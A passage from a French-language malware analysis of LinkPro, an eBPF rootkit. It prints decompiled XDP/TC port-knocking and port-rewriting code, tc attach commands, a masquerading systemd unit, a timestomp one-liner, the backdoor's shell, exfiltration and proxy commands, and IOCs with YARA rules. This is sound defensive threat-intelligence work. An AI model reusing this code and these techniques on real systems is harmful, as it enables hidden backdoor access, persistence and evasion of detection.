objets présents dans la map\r\nmain_ebpfs_progs , alors la valeur de retour de sys_bpf , est remplacée par  -ENOENT  (No such file or\r\ndirectory). \r\nL'image ci-contre présente une démonstration du chargement du module \"Hide\" (argument -ebpf 1 , valeur par\r\ndéfaut), dissimulant les programmes eBPF de l'utilitaire bpftool : \r\nDissimulation programmes BPF\r\nÀ noter que les FD des maps et liens eBPF ne sont pas inclus dans la map main_ebpf_progs  par LinkPro, ce qui\r\nest une erreur. Bien que les programmes soient correctement dissimulés, il est donc possible de lister leurs maps et\r\nliens eBPF, ainsi que le PID associé à LinkPro.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 17 of 34\n\nDétection liens eBPF associés à LinkPro\r\nAutre point important, la fonction helper bpf_override_return n'est disponible que si le noyau Linux a été\r\ncompilé avec l'option de configuration  CONFIG_BPF_KPROBE_OVERRIDE 25. C'est par exemple le cas pour les\r\nnoyaux relativement récents d'Amazon Linux26, ou encore Ubuntu 24.04. Si l'option requise du noyau n'est pas\r\nactivée, le vérificateur BPF rejettera le programme et empêchera le chargement du module \"Hide\". En cas échec,\r\nune méthode alternative est donc employée avec le chargement de la bibliothèque libld.so , servant de solution\r\nde repli pour dissimuler une partie des artefacts de LinkPro.\r\nModule eBPF \"Knock\" \r\nÉchantillon LinkPro module eBPF Knock\r\nSHA256 364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3\r\nType de fichier ELF 64-bit LSB relocatable, eBPF\r\nTaille du fichier 19249 octets\r\nMenace Linux eBPF Rootkit\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 18 of 34\n\nLe module \"Knock\" contient deux programmes eBPF chargés par LinkPro.\r\nLe premier s'appelle xdp_ingress et est de type XDP (eXpress Data Path).\r\nXDP fournit un mécanisme de traitement des paquets réseau par le biais de programmes eBPF. Il se situe très tôt\r\ndans la chaîne de traitement, au niveau du driver et en amont de la pile réseau classique de Linux27. Un\r\nprogramme eBPF XDP utilise des codes de retour (exemple : XDP_PASS , XDP_DROP , XDP_REDIRECT )\r\ndéterminant l'action que le noyau Linux doit effectuer sur le paquet réseau.\r\nFlux du paquet réseau dans le noyau avec XDP\r\nLe second s'appelle tc_egress et est de type TC (Traffic Control).\r\ntc est un outil introduit par le paquet iproute2 et qui permet de contrôler le trafic réseau entrant (ingress) et\r\nsortant (egress) sur une interface. Il est possible d'attacher des programmes BPFs aux différents points de contrôle\r\nde TC, par exemple pour filtrer certains paquets avant leur envoi. TC se situe entre le driver et la pile réseau, soit\r\nen aval de XDP. Les programmes XDP ne peuvent s'attacher que sur le trafic entrant, et non sortant, ce qui justifie\r\nl'utilisation de TC dans ce contexte.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 19 of 34\n\nSchéma Egress (TX) avec Hook TC\r\nInstallation du module \"Knock\"\r\nPlusieurs étapes sont nécessaires pour installer les programmes xdp_ingress et tc_egress .\r\n1. Détection de l'interface réseau utilisée pour communiquer sur Internet (exemple, eth0 ).\r\n2. Création d'un dossier fire dans le BPF FS. Chemin : /sys/fs/bpf/fire . Le BPF FS est un pseudo\r\nsystème de fichier virtuel (ne résident qu'en mémoire) permettant de stocker les programmes et maps BPF,\r\nainsi que des pinned objects28 (permet de garder une référence sur ces objets via un pseudo-fichier du BPF\r\nFS afin de s'assurer de leur persistance).\r\n3. Chargement du module \"Knock\" en mémoire (CollectionSpec)\r\n4. Mise à jour de la map BPF conf_map avec la valeur de l'attribut reverse_port présente dans la\r\nconfiguration de LinkPro : port 2233 dans ce contexte.\r\n5. Installation du programme xdp_ingress :\r\n1. Tout programme XDP déjà lié à l'interface réseau est détaché : ip link set dev eth0 xdp off\r\n2. Attachement du programme xdp_ingress à l'interface réseau via la création d'un lien BPF29\r\n6. Installation du programme tc_egress  \r\n1. Pinning du programme tc_egress sur /sys/fs/bpf/fire/tc_egress . Cela signifie qu'il a déjà\r\nété chargé en mémoire par un autre processus (LinkPro) et a été \"épinglé\" dans le système de\r\nfichiers virtuel BPF (bpffs).\r\n2. Attachement du programme tc_egress à l'interface réseau via les commandes tc suivantes :\r\n1. Préparation de l'interface : tc qdisc replace dev eth0 clsact\r\n1. Crée ou remplace la discipline de file d'attente ( qdisc ) sur l'interface eth0 par\r\nclsact (classifier action), fournissant deux points d'attache ingress (paquets\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 20 of 34\n\nentrants) et egress (paquets sortants) pour les filtres\r\n2. Nettoyage des anciens filtres sur le trafic sortant : tc filter del dev eth0 egress\r\n3. Attachement du programme tc_egress sur le hook egress de l'interface réseau : tc\r\nfilter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned\r\n/sys/fs/bpf/fire/tc_egress\r\n1. proto all : le filtre s'applique aux paquets de tous les protocoles\r\n2. prio 1 : le filtre s'exécute avec la priorité la plus élevée\r\n3. handle 1 : identifiant pour le filtre créé\r\n4. bpf : indique que le filtre est un programme BPF\r\n5. da (ou direct-action ) : signifie que la valeur de retour du programme eBPF (par\r\nexemple TC_ACT_OK pour laisser passer, TC_ACT_SHOT pour rejeter) déterminera\r\ndirectement le sort du paquet\r\n6. pinned /sys/fs/bpf/tc_egress : indique à TC où trouver le programme eBPF,\r\népinglé dans le bpffs par LinkPro \r\nxdp_ingress\r\nLe programme eBPF xdp_ingress se met en écoute du trafic entrant sur l'interface réseau rattachée (rappel :\r\nidentifiée par LinkPro comme ayant un accès sur Internet). Le programme surveille la réception d'un paquet\r\nmagique.\r\nCe paquet magique doit être composé des caractéristiques suivantes : paquet de protocole TCP et de type\r\nSYN , qui possède la valeur de taille de fenêtre, tcp_header-\u003ewindows_size à 54321 .\r\nSi un tel paquet est vérifié, le programme xdp_ingress enregistre dans une map  knock_map  la clé ayant\r\npour valeur l'IP source du paquet et comme valeur associée une date d'expiration (une heure), indiquant un\r\nétat ouvert .\r\nDe plus, le programme enregistre dans la map rev_port le couple key/valeur suivant : clé : rev_key = {\r\nin_port, sip, sport} (sip = IP source, sport = port source), valeur : dport (port de\r\ndestination).  in_port est égal à la valeur stockée dans conf_map , soit 2233.\r\nEnfin, le programme xdp_ingress retourne le code XDP_DROP , indiquant au noyau Linux de rejeter\r\nimmédiatement le paquet magique. Le programme passé à l'état « ouvert » pour cette adresse IP source\r\nspécifique.\r\nif (tcph-\u003esyn \u0026\u0026 tcph-\u003ewindow == bpf_htons(MAGIC_WIN)) {\r\nbpf_printk(\"[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u\", sip_h, sport_h, dport_h, (data-\r\n__u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour\r\nbpf_map_update_elem(\u0026knock_map, \u0026sip_h, \u0026exp, BPF_ANY);\r\nbpf_printk(\"[KNOCK-SET] key=%x exp=%llu\", sip_h, exp);\r\n__u16 in_port = get_in_port()\r\nstruct rev_key rk = {\r\nin_port,\r\nsip_h,\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 21 of 34\n\nsport_h\r\n}\r\nbpf_map_update_elem(\u0026rev_port, \u0026rk, \u0026dport_h, BPF_ANY);\r\nbpf_printk(\"[KNOCK] %x:%u -\u003e %u\", sip_h, sport_h, dport_h);\r\nreturn XDP_DROP;\r\n}\r\nÉtat ouvert : Le programme xdp_ingress surveille la réception de paquets TCP dont l'adresse IP source\r\nest la même que celle(s) déjà enregistrée(s) dans knock_map , et ce dans une fenêtre d'une heure après la\r\nréception du paquet magique.\r\nDans ce cas, si le port de destination ne correspond pas déjà à la valeur de in_port (2233), alors\r\nxdp_ingress modifie l'en-tête TCP du paquet entrant pour remplacer la valeur du port de destination par\r\nin_port . De plus, afin que le paquet ne soit pas rejeté par le noyau en aval, la somme de contrôle TCP,\r\ntcp_header-\u003echeck_sum , est recalculée et modifiée dans l'en-tête TCP également. Enfin, xdp_ingress\r\nretourne le code XDP_PASS , pour passer le paquet à la suite dans la pile réseau.\r\nbpf_printk(\"[FOUND] 找到有效敲门记录: sip=%x dport=%u\", sip_h, dport_h); // (Found valid knock records)\r\n__u16 in_port = get_in_port()\r\nif (dport_h == in_port) {\r\nbpf_printk(\"[SKIP] 已是内部端口: sip=%x dport=%u\", sip_h, dport_h); // (Already an internal port)\r\n}\r\nelse {\r\n__u16 old_n = tcph-\u003edest;\r\n__u32 old32 = (__u32)old_n;\r\n__u16 new_n = bpf_htons(in_port);\r\n__u32 new32 = (__u32)new_n;\r\n__u32 diff = bpf_csum_diff(\u0026old32, 4, \u0026new32, 4, ~(data-\u003etcph).check); //TCP Checksum Diff\r\n(data-\u003etcph).dest = new_n;\r\ntcph-\u003echeck = fold_csum(diff);\r\nbpf_printk(\"[XDP] REWRITE %x:%u %u→%u\", sip_h, sport_h, dport_h, in_port);\r\n}\r\nEnfin, si le port de destination 9999 est utilisé, le programme affiche des messages de débogage noyau\r\nsupplémentaires :\r\n[DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u (Paquet de port 9999\r\nreçu)\r\n[MISS] 未找到敲门记录: sip=%x dport=%u (No knock record found)\r\ntc_egress\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 22 of 34\n\nLe programme eBPF tc_egress se met en écoute du trafic sortant sur l'interface réseau rattachée. Le programme\r\nsurveille l'expédition d'un paquet TCP qui a pour port source in_port (2233).\r\nSi un tel paquet est reçu, le programme vérifie la présence, dans la map rev_port , de la clé rev_key = {\r\nin_port, dip, dport} (dip = IP destination), enregistrée auparavant par xdp_ingress .\r\nLe cas échéant, l'en-tête TCP du paquet en sortie est modifié, pour restaurer le port de destination, du\r\npaquet entrant qui avait été remplacé par xdp_ingress , au niveau du port source du paquet sortant. La\r\nsomme de contrôle est également recalculé. Enfin, le paquet continue son processus de traitement (code\r\nTC_ACT_OK retourné) dans tous les cas.\r\nif ((data-\u003etcph).source == bpf_htons(get_in_port())){\r\n__u16 dport_n = tcph-\u003edest;\r\nstruct rev_key rk = {\r\nget_in_port(),\r\nbpf_ntohl((data-\u003eiph).daddr),\r\nbpf_ntohs(dport_n)\r\n}\r\n__u16 *knock = bpf_map_lookup_elem(\u0026rev_port, \u0026rk);\r\nif (!knock) {\r\nbpf_printk(\"[TC-MISS] 未找到端口映射: dip=%x dport=%u\", bpf_ntohl((data-\u003eiph).daddr), bpf_ntoh\r\n}\r\nelse {\r\n__u16 new_n = bpf_htons(*knock);\r\n__u16 old_n = (data-\u003etcph).source;\r\n__u32 o32 = (__u32)old_n;\r\n__u32 n32 = (__u32)new_n;\r\n__u32 diff = bpf_csum_diff(\u0026o32, 4, \u0026n32, 4, ~(data-\u003etcph).check);\r\n(data-\u003etcph).source = new_n;\r\n(data-\u003etcph).check = fold_csum(diff);\r\nbpf_printk(\"[TC] REWRITE_BACK %u→%u\", get_in_port(), *knock);\r\n}\r\n}\r\nL'objectif pour LinkPro est donc d'activer l'état de réception de commandes sous condition de la réception d'un\r\npremier paquet « magique ». Une fois le paquet magique reçu, l'opérateur a une fenêtre d'une heure (réactivable\r\npar la suite) pour envoyer des commandes sur un port de destination arbitraire. Le programme xdp_ingress a\r\npour rôle de modifier l'en-tête du paquet TCP entrant pour remplacer le port de destination d'origine par le port\r\nd'écoute de LinkPro, soit 2233 dans ce contexte. \r\nEnfin, lorsque LinkPro répond à la commande de l'opérateur, le programme tc_egress a pour rôle de modifier le\r\npaquet sortant pour remplacer le port source (2233) par le port d'origine. Le but de cette manœuvre est, pour\r\nl'opérateur, de pouvoir activer la réception de commandes de LinkPro en passant depuis n'importe quel port\r\nautorisé par le pare-feu frontal. Cela rend également la corrélation entre les journaux du pare-feu frontal et\r\nl'activité réseau de l'hôte compromis plus complexe. Exemple : l'opérateur envoie ses commandes sur le port\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 23 of 34\n\n443/https d'un serveur web compromis, alors qu'en réalité les paquets sont transités vers le port 2233 en interne du\r\nserveur.  \r\nPersistance\r\nPour persister sur l'hôte, LinkPro se « déguise » en service systemd-resolved (le service de résolution de nom).\r\n1. Montage de la partition racine / en lecture et écriture en exécutant la commande : mount -o remount,rw\r\n/ .\r\n2. Copie de son propre exécutable vers /usr/lib/.system/.tmp~data.resolveld .\r\n3. Ajout d'un fichier unit systemd dans  /etc/systemd/system/systemd-resolveld.service :\r\n[Unit]\r\nDescription=Network Name Resolution Manager\r\nDocumentation=man:systemd-resolved.service(8)\r\nAfter=network.target\r\n[Service]\r\nType=simple\r\nExecStart=/usr/lib/.system/.tmp~data.resolveld\r\nRestart=always\r\nRestartSec=5\r\nKillSignal=SIGTERM\r\n#\r\nProtectSystem=full\r\nPrivateTmp=true\r\nNoNewPrivileges=true\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 24 of 34\n\n4. Timestomp des dates de modification et d'accès de /usr/lib/.system/.tmp~data.resolveld et\r\n/etc/systemd/system/systemd-resolveld.service par celle du fichier /etc/passwd : sh -c touch -d\r\n\\\"$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')\\\" %s 2\u003e/dev/null\r\n5. Activation du service systemd-resolveld quand le système démarre : systemctl enable systemd-resolveld .\r\nAuto-suppression\r\nSur interruption (signaux SIGHUP, SIGINT, SIGTERM), LinkPro désinstalle ses modules :\r\nModule Knock :\r\nSuppression du lien eBPF de tc_egress par l'exécution des commandes tc :\r\ntc filter del dev eth0 egress (eth0 étant l'interface ayant accès à Internet dans cet\r\nexemple)\r\ntc qdisc del dev eth0 clsact\r\nSuppression du lien eBPF de xdp_ingress\r\nSuppression du dossier /sys/fs/bpf/fire\r\nModule Hide : suppression des liens, maps, et programmes eBPF (Tracepoints, Kretprobe)\r\nSuppression de /etc/libld.so et restauration du contenu initial du fichier de\r\nconfiguration  /etc/ld.so.preload\r\nCommandes\r\nUne fois la communication bien établie avec l'opérateur, LinkPro fournit les commandes suivantes :\r\nCommandes supportées par LinkPro\r\nCommande Feature\r\nterminal_create  ; terminal_resize  ;\r\nterminal_input  ; terminal_close\r\nExécute /bin/bash dans un pseudo-terminal (utilise\r\nle module github.com/creack/pty 30). La sous-commande terminal_input permet d'interagir avec\r\nle processus bash créé.\r\nshell\r\nExécute directement une commande shell arbitraire :\r\n/bin/sh -c [cmd]\r\nfile_manage\r\nSous commandes :\r\nread_file ;  list_files  ;  write_file  ;\r\ncreate_file  ; delete_file  ; upload_file  ;\r\ncreate_folder  ; get_current_dir  ;\r\ndelete_files_batch\r\nCommandes permettant de lister, lire, écrire, et\r\nsupprimer des fichiers ou des répertoires.\r\nLa sous-commande upload_file permet de\r\ntélécharger un fichier depuis un serveur vers l'hôte\r\ninfecté. Le protocole HTTP est utilisé pour le\r\ntéléchargement, effectué depuis l'URL de type\r\nhttp://[server_address]:\r\n[port]/api/client/file/download?path=\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 25 of 34\n\nCommande Feature\r\n[server_file_path] vers le chemin local spécifié\r\ndans la commande par client_save_path .\r\ndownload_manage\r\nTéléchargement de fichier. Le fichier ciblé est découpé\r\nen morceau de 1Mo. Chaque morceau est encodé en\r\nbase64 puis envoyé à l'opérateur.\r\nreverse_connect ; close_reverse_connect\r\nMise en place d'un relai pour servir de tunnel proxy\r\nSOCKS5. Utilise le module resocks31. Adresse IP,\r\nport du serveur proxy et clé de connexion spécifiés\r\ndans la commande.\r\nreverse_http_listener\r\nSous commandes :  start  ; stop  ; status\r\nMise en plus d'un service HTTP, le même que celui\r\nmis en place par le mode reverse . Le port et la clé\r\nde chiffrement (XOR) sont indiquées dans la\r\ncommande.\r\nset_sleep_config\r\nMise à jour des paramètres sleep_time et\r\njitter_time\r\nModule noyau arp_diag.ko\r\nÉchantillon LinkPro module noyau\r\nSHA256 9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075\r\nType de fichier ELF 64-bit LSB kernel object, x86-64\r\nTaille du fichier 586728 octets\r\nMenace Linux LKM Rootkit\r\nLe module noyau arp_diag.ko embarqué dans le programme de LinkPro n'est jamais chargé par celui-ci. Le\r\nchargement de ce module sur les hôtes compromis n'a pas non plus été observé. Il possède les informations de\r\nversion suivantes :\r\nversion=1.21\r\ndescription=UNIX socket monitoring via ARP_DIAG\r\nauthor=Linux\r\nlicense=GPL\r\nsrcversion=AB501E218EDD1F4EA00642E\r\ndepends=\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 26 of 34\n\nretpoline=Y\r\nname=arp_diag\r\nvermagic=6.8.0-1021-aws SMP mod_unload modversions\r\nCe module enregistre quatre Kernel probes pour s'attacher sur les fonctions du noyau tcp4_seq_show ,\r\nudp4_seq_show ,  tcp6_seq_show ,  udp4_seq_show , et  udp6_seq_show . Ces appels systèmes fournissent les\r\ninformations spécifiées dans  /proc/net/tcp ,  /proc/net/tcp6 ,  /proc/net/udp ,  /proc/net/udp6 . Les\r\nfonctions implémentées par arp_diag ont pour objectif de dissimuler les enregistrements contenant le port 2233.\r\nImplémentation de hook_tcp4_seq_show\r\nConclusion\r\nL'analyse du rootkit LinkPro, découvert par le CSIRT Synacktiv sur une infrastructure AWS compromise,\r\nconfirme et approfondit la tendance des menaces exploitant la technologie eBPF. S'inscrivant dans la lignée de\r\nmalwares comme BPFDoor ou Symbiote, LinkPro représente une nouvelle étape dans la sophistication de ces\r\nportes dérobées, en combinant plusieurs techniques de furtivité à plusieurs niveaux.\r\nPour sa dissimulation au niveau du noyau, le rootkit utilise des programmes eBPF de type tracepoint et\r\nkretprobe pour intercepter les appels système getdents (dissimulation de fichiers) et sys_bpf (dissimulation\r\nde ses propres programmes BPF). Fait notable, cette technique requiert une configuration noyau spécifique\r\n( CONFIG_BPF_KPROBE_OVERRIDE ). Si cette dernière n'est pas présente, LinkPro se rabat sur une méthode alternative\r\nen chargeant une bibliothèque malveillante via le fichier /etc/ld.so.preload pour assurer la dissimulation de\r\nses activités dans l'espace utilisateur.\r\nLinkPro se distingue également par sa flexibilité opérationnelle, capable d'agir soit en mode d'écoute passive, soit\r\nen contactant directement un serveur de commande et contrôle (C2).\r\nEn mode d'écoute ( reverse ), il déploie une chaîne de traitement réseau avancée basée sur des\r\nprogrammes XDP ( ingress ) et TC ( egress ), dont l'implémentation s'inspire visiblement du projet\r\nopen-source eBPFeXPLOIT. Ce mécanisme lui permet de rediriger un « paquet magique » vers son port\r\nd'écoute interne et de masquer la communication.\r\nEn mode de connexion directe ( forward ) au C2, cette redirection n'est pas nécessaire et n'est donc pas\r\nutilisée.\r\nUne fois la communication établie, LinkPro met à disposition de l'opérateur des fonctionnalités avancées,\r\nnotamment la capacité de servir de point de pivot pour les déplacements latéraux.\r\nAucune attribution formelle à un acteur de la menace n'a pu être établie, mais les objectifs de l'attaque semblent\r\nd'ordre financier. En conclusion, LinkPro est un exemple concret de malware utilisant eBPF de manière\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 27 of 34\n\nadaptative. La combinaison de hooks noyau, d'un mécanisme de repli en espace utilisateur ( ld.so.preload ) et de\r\nmodes de communication distincts démontre une conception spécifiquement pensée pour s'adapter à différentes\r\nconfigurations système et échapper à la détection.\r\nToutes les règles de détection créées dans le cadre de cette analyse seront maintenues dans le dépôt GitHub\r\nsynacktiv-rules.\r\nMapping MITRE ATT\u0026CK — LinkPro\r\nTactique Technique (ID) Description de l'utilisation par LinkPro\r\nExécution\r\nCommand and\r\nScripting Interpreter:\r\nUnix Shell (T1059.004)\r\nLinkPro exécute des commandes via /bin/sh -c (commande\r\nshell ) et fournit un shell interactif complet avec /bin/bash\r\n(commande terminal_create ).\r\nPersistance\r\nCreate or Modify\r\nSystem Process:\r\nSystemd Service\r\n(T1543.002)\r\nCrée un fichier unit systemd ( /etc/systemd/system/systemd-resolveld.service ) pour s'exécuter au démarrage.\r\nPersistance\r\nHijack Execution\r\nFlow: Dynamic Linker\r\nHijacking (T1574.006)\r\nUtilise /etc/ld.so.preload comme mécanisme de\r\ndissimulation alternatif/de repli.\r\nÉvasion de\r\nla Défense\r\nMasquerading: Match\r\nLegitimate Name or\r\nLocation (T1036.005)\r\nLe malware se déguise en systemd-resolved en utilisant les\r\nnoms de fichier /usr/lib/.system/.tmp~data.resolveld et\r\nsystemd-resolveld.service .\r\nÉvasion de\r\nla Défense\r\nIndicator Removal:\r\nTimestomp\r\n(T1070.006)\r\nLinkPro modifie les métadonnées de temps (timestamps) de ses\r\nfichiers principaux pour les faire correspondre à la date de\r\ndernière modification de fichiers système légitimes\r\n( /etc/passwd ).\r\nÉvasion de\r\nla Défense\r\nRootkit (T1014)\r\nUtilise des hooks eBPF sur getdents et sys_bpf pour\r\ndissimuler ses artéfacts au niveau du noyau.\r\nÉvasion de\r\nla Défense\r\nObfuscated Files or\r\nInformation (T1027)\r\nLes données exfiltrées via download_manage sont encodées en\r\nBase64. Le trafic C2 est chiffré en XOR.\r\nÉvasion de\r\nla Défense\r\nImpair Defenses:\r\nModify System\r\nFirewall (T1562.007)\r\nLe programme XDP contourne les filtres du pare-feu local en\r\ntraitant les paquets avant la pile réseau principale.\r\nCommande\r\net Contrôle\r\nApplication Layer\r\nProtocol (T1071)\r\nUtilise HTTP et DNS (via DNS Tunneling T1071.004) pour ses\r\ncommunications C2, en plus de TCP/UDP bruts.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 28 of 34\n\nTactique Technique (ID) Description de l'utilisation par LinkPro\r\nCommande\r\net Contrôle\r\nTraffic Signaling: Port\r\nKnocking (T1205.002)\r\nLe concept de \"paquet magique\" (TCP SYN avec une fenêtre de\r\n54321) est une forme de signalisation de trafic pour activer le C2\r\npassif.\r\nCommande\r\net Contrôle\r\nProxy: External Proxy\r\n(T1090.002)\r\nLa commande reverse_connect met en place un tunnel proxy\r\nSOCKS5 pour relayer le trafic, servant de pivot.\r\nCommande\r\net Contrôle\r\nIngress Tool Transfer\r\n(T1105)\r\nLa commande upload_file permet à l'opérateur de télécharger\r\ndes outils supplémentaires sur l'hôte compromis via HTTP.\r\nExfiltration\r\nExfiltration Over C2\r\nChannel (T1041)\r\nLa commande download_manage utilise le canal C2 pour\r\nexfiltrer des fichiers. La technique de découpage en morceaux et\r\nd'encodage Base64 est spécifique à son implémentation.\r\nCollecte\r\nFile and Directory\r\nDiscovery (T1083)\r\nLa commande file_manage et ses sous-commandes\r\n( list_files , get_current_dir ) sont utilisées pour explorer le\r\nsystème de fichiers de la victime.\r\nTableau d'Indicateurs de Compromission (IOC) — LinkPro\r\nType\r\nd'IOC\r\nIndicateur Description\r\nRéseau /api/client/file/download?path=...\r\nURL utilisée par la commande\r\nupload_file pour télécharger des outils\r\nsur l'hôte compromis.\r\nRéseau\r\n/reverse/handshake ;\r\n/reverse/heartbeat  ;  /reverse/operation  \r\nURL utilisée par LinkPro en mode\r\nreverse pour recevoir les commandes\r\nde l'opérateur\r\nRéseau 18.199.101.111\r\nAdresse IP de destination de l'échantillon\r\nLinkpro (mode forward )\r\nFichier /etc/systemd/system/systemd-resolveld.service\r\nFichier de service malveillant se faisant\r\npasser pour le service légitime systemd-resolved (notez le \"d\" final).\r\nFichier /root/.tmp~data.ok\r\nEmplacement et nom du binaire de\r\nLinkPro, imitant un fichier système.\r\nFichier /usr/lib/.system/.tmp~data.resolveld\r\nEmplacement et nom du binaire de\r\nLinkPro, imitant un fichier système.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 29 of 34\n\nType\r\nd'IOC\r\nIndicateur Description\r\nFichier /etc/libld.so\r\nUtilise /etc/ld.so.preload comme\r\nmécanisme de dissimulation en modifiant\r\n/etc/ld.so.preload .\r\nHôte systemd-resolveld\r\nLe nom du service malveillant est conçu\r\npour être confondu avec le service\r\nlégitime systemd-resolved .\r\nHôte conf_map\r\nMap eBPF utilisée par le module Knock\r\nde LinkPro contenant le port interne\r\nHôte knock_map\r\nMap eBPF utilisée par le module Knock\r\nde LinkPro contenant les adresses IP\r\nautorisées\r\nHôte main_ebpf_progs\r\nMap eBPF utilisée par le module Hide de\r\nLinkPro contenant les programmes eBPF\r\nà dissimuler\r\nHôte pids_to_hide_map\r\nMap eBPF utilisée par le module Hide de\r\nLinkPro contenant les PID des processus\r\nà dissimuler\r\nRègles YARA\r\nimport \"elf\"\r\nrule MAL_LinkPro_ELF_Rootkit_Golang_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro rootkit\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964\"\r\n hash = \"d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b\"\r\n strings:\r\n $linkp_mod = \"link-pro/link-client\" fullword ascii\r\n $linkp_embed_libld = \"resources/libld.so\" fullword ascii\r\n $linkp_embed_lkm = \"resources/arp_diag.ko\" fullword ascii\r\n $linkp_ebpf_hide = \"hidePrograms\" fullword ascii\r\n $linkp_ebpf_knock = \"knock_prog\" fullword ascii\r\n $go_pty = \"creack/pty\" fullword ascii\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 30 of 34\n\n$go_socks = \"resocks\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003e 5MB and elf.type == elf.ET_EXEC\r\n and 2 of ($linkp*)\r\n and 1 of ($go*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_Hide_ELF_BPF_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro Hide eBPF module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164\"\r\n strings:\r\n $hook_getdents = \"/syscalls/sys_enter_getdents\" fullword ascii\r\n $hook_getdentsret = \"/syscalls/sys_exit_getdents\" fullword ascii\r\n $hook_bpf = \"/syscalls/sys_enter_bpf\" fullword ascii\r\n $hook_bpfret = \"sys_bpf\" fullword ascii\r\n $str1 = \"BPF cmd: %d, start_id: %u\" fullword ascii\r\n $str2 = \"HIDING NEXT_ID: %u\" fullword ascii\r\n $str3 = \".tmp~data\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine\r\n and elf.type == elf.ET_REL\r\n and 2 of ($hook*)\r\n and 1 of ($str*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_Knock_ELF_BPF_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro Knock eBPF module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3\"\r\n strings:\r\n $hook_xdp = \"xdp_ingress\" fullword ascii\r\n $hook_tc_egress = \"tc_egress\" fullword ascii\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 31 of 34\n\n$str1 = \"[DBG-XDP]\" fullword ascii\r\n $str2 = \"[DBG-9999]\" fullword ascii\r\n $str3 = \"[TC-MISS]\" fullword ascii\r\n $str4 = \"[TC] REWRITE_BACK\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine\r\n and elf.type == elf.ET_REL\r\n and 1 of ($hook*)\r\n and 2 of ($str*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_LdPreload_ELF_SO_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro ld preload module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7\"\r\n strings:\r\n $hook_getdents = \"getdents\" fullword ascii\r\n $hook_open = \"open\" fullword ascii\r\n $hook_readdir = \"readdir\" fullword ascii\r\n $hook_kill = \"kill\" fullword ascii\r\n $linkpro = \".tmp~data\" fullword ascii\r\n $file_net = \"/proc/net\" fullword ascii\r\n $file_persist = \".system\" fullword ascii\r\n $file_cron = \"sshids\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003c 500KB and elf.type == elf.ET_DYN\r\n and $linkpro\r\n and 2 of ($hook*)\r\n and 2 of ($file*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_arpdiag_ELF_KO_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro LKM module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075\"\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 32 of 34\n\nstrings:\r\n $hook_udp6 = \"hook_udp6_seq_show\" fullword ascii\r\n $hook_udp4 = \"hook_udp4_seq_show\" fullword 